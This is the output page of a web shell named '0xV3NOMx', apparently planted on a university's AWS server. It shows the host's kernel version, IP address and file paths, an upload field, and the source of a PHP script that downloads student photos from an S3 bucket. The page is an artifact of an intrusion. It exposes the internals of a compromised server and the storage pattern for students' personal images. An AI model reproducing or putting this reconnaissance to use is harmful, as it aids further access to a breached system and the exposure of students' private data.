0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.22.41.80


Current Path : /proc/thread-self/root/var/www/html/sjbitapi/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/sjbitapi/src/downloadStudPhoto.php

<?php

function downloadStudPhoto($aobj_context)
{ 
	$url = 
    'https://university-student-photos.s3.ap-south-1.amazonaws.com/030/student_photos/1001/baj/R17BJ001.jpg';
      
    $file_name = "photos/".basename($url);
   
    if (file_put_contents($file_name, file_get_contents($url)))
    {
        echo "File downloaded successfully";
    }
    else
    {
        echo "File downloading failed.";
    }
	
}

?>